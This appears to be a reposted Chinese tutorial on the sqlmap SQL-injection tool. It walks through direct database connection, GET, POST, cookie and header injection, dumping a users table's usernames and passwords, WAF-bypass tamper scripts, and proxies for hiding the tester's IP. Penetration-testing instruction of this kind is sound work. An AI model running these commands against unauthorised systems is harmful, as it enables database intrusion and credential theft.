当前位置: 首页 > news >正文

sqlmap确定目标/实操

安装kalikali自带sqlmap,在window系统中跟linux系统操作有区别

sqlmap是一款自动化SQL工具,打开kali终端,输入sqlmap,出现以下界面,就说明sqlmap可用

sqlmap确定目标

一、sqlmap直连数据库

1、直连数据库获得旗标

sqlmap -d "mysql://root:123456@192.168.137.111:3306/dbb7" -f --banner

说明:

  • -d 或 --ds 参数用于指定数据库的连接字符串。
  • mysql://:指定了数据库的类型是MySQL。
  • root:123456:这是数据库的用户名和密码,分别是root和123456。
  • @192.168.137.111:指定了数据库的服务器IP地址,这里是192.168.137.111。
  • :3306:指定了数据库服务器的端口号,MySQL的默认端口是3306。
  • /dbb7:指定了要连接的数据库名称,这里是dbb7。
  • --banner:这个选项指示sqlmap尝试检索并显示数据库的版本信息(即“banner”)。这对于了解目标数据库的类型和版本非常有用,因为不同的数据库类型和版本可能有不同的漏洞和弱点。

2、直连数据库获取用户及权限

sqlmap -d "mysql://root:123456@192.168.137.111:3306/dbb7" -f --banner -users

二、sqlmap实操

1sqlmap完整的get注入

        sqlmap直接对单一的url探测,参数使用-u或者--url

  • 1、检测注入点

        sqlmap -u 'http://xx/?id=1'

  • 2、查看所有数据库

        sqlmap -u 'http://xx/?id=1' --dbs --batch

  • 3、查看当前使用的数据库

        sqlmap -u 'http://xx/?id=1' --current -db --batch

  • 4、查看表名

        sqlmap -u 'http://xx/?id=1' -D 'security' --tables --batch

  • 5、查看字段

        sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns --batch

  • 6、查看数据

        sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump --batch

  • 7、查看字段值

        sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump --batch

2、参数说明

指定数据库/表/字段

  • -D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
  • -T 指定目标「表」,单/双引号包裹,常配合其他参数使用。
  • -C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

如:sqlmap -u 'http://xx/?id=1'  -D  'security'  -T  'users'  -C  'username' --dump

2、post请求

sqlmap探测post盲注

步骤一:获取http请求生成test.txt文件

步骤二:使用基于时间技术的sqlmap探测-r

如:sqlmap -r test.txt --technique T -p uname

检测post请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

如:sqlmap -r test.txt

3、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

如:sqlmap -u "http://xx?id=x" --cookie 'cookie'

4sqlmap进行http头注入

指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中

再进行sqlmap -r /root/test.txt

5sqlmap tamper脚本注入

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下

如:sqlmap -u 'http://xx/?id=1' --tamper 'uppercase.py'

三、sqlmap其他参数

(1)常见参数
  • --method=GET 指定请求方式(GET/POST)
  • --random-agent 随机切换UA(User-Agent)
  • --user-agent '  ' 使用自定义的UA(User-Agent)
  • --referer '  ' 使用自定义的 referer
  • --threads 10 设置线程数,最高10
(2)性能优化参数
  • --keep-alive 设置持久连接,加快探测速度
  • --null-connection 检索没有body响应的内容,多用于注
  • --thread 最大为10 设置多线程
  • -o开启所有默认性能优化
  • -smart 快速判断,节约时间
  • 设置延迟 --delay 时间。当页面无变化,布尔无真假,从来不报错时用延时注入
  • 设置超时 --timeout 时间
  • 设置重新连接次数--retries 次数
(3)等级参数
  • --batch 自动选择yes。
  • --level=1 执行测试的等级(1-5,默认为1,常用3)
  • --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
(4)代理参数

隐藏自己的真实ip

  • --proxy http://ip: 端口
  • --proxy -file 使用一个包含多条代理的文件中的代理

http://www.lryc.cn/news/398656.html

相关文章:

  • Java笔试|面试 —— 对多态性的理解
  • 从RL的专业角度解惑 instruct GPT的目标函数
  • location匹配的优先级和重定向
  • 观察矩阵(View Matrix)、投影矩阵(Projection Matrix)、视口矩阵(Window Matrix)及VPM矩阵及它们之间的关系
  • 谷粒商城学习笔记-19-快速开发-逆向生成所有微服务基本CRUD代码
  • 时序预测 | Matlab实现TCN-Transformer的时间序列预测
  • 没想到MySQL 9.0这么拉胯
  • 开源 Wiki 系统 InfoSphere 2024.01.1 发布
  • 1.Introduction to Spring Web MVC framework
  • Onnx 1-深度学习-概述1
  • 网络基础——udp协议
  • 分布式锁理解
  • Android Gradle 开发与应用 (十): Gradle 脚本最佳实践
  • c#获取本机的MAC地址(附源码)
  • sqlmap使用之-post注入、head注入(ua、cookie、referer)
  • XSS: 原理 反射型实例[入门]
  • Idea新增Module报错:sdk ‘1.8‘ type ‘JavaSDK‘ is not registered in ProjectJdkTable
  • 基于RHCE基础搭建简单服务
  • 威纶通触摸屏软件离线仿真时出现报错8000端口占用或服务器断线
  • CAS详解
  • 【笔记】虚拟机中的主从数据库连接实体数据库成功后的从数据库不同步问题解决方法2
  • 【每日一练】python类和对象现实举例详细讲解
  • 【学习css1】flex布局-页面footer部分保持在网页底部
  • Java中创建线程的几种方式
  • [A-04] ARMv8/ARMv9-Cache的相关策略
  • 【笔试常见编程题06】最近公共祖先、求最大连续bit数、二进制插入、查找组成一个偶数最接近的两个素数
  • 【工具分享】Gophish——网络钓鱼框架
  • “职业三大底层逻辑“是啥呢?
  • 飞睿智能无线高速uwb安全数据传输模块,低功耗、抗干扰超宽带uwb芯片传输速度技术新突破
  • 手把手教你从微信中取出聊天表情图片,以动态表情保存为gif为例